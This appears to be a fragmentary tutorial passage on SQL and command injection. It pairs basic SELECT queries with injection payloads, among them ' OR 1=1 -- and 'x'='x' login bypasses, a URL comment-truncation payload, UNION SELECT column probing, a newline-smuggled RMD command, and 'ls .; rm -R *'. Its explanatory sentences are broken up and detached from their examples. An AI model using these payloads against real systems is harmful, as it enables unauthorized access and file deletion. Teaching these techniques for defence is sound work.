SELECT * FROM Employees;
retrieves all records from the Employees table.SELECT * FROM Employees WHERE Department = 'Engineering';
retrieves records from the Engineering department.SELECT * FROM users WHERE username = 'user' AND password = 'pass';
user: ' OR 1=1 --
, modifying the query to always return true.SELECT * FROM products WHERE category = 'Gifts' AND released = 1;
https://insecure-website.com/products?category=Gifts'--
causes the original restriction to be bypassed.SELECT * FROM users WHERE username='$user' AND password='$pass';
ORDER BY
clauses incrementally.UNION SELECT
with NULL values to probe column structure.passwd='nothing' OR 'x'='x'
allows access without knowing real credentials.mydocument.html %0a RMD .
can lead to both retrieving a document and removing directories.ls .; rm -R *
lists files and removes all in the current directory if executed by an application without filters.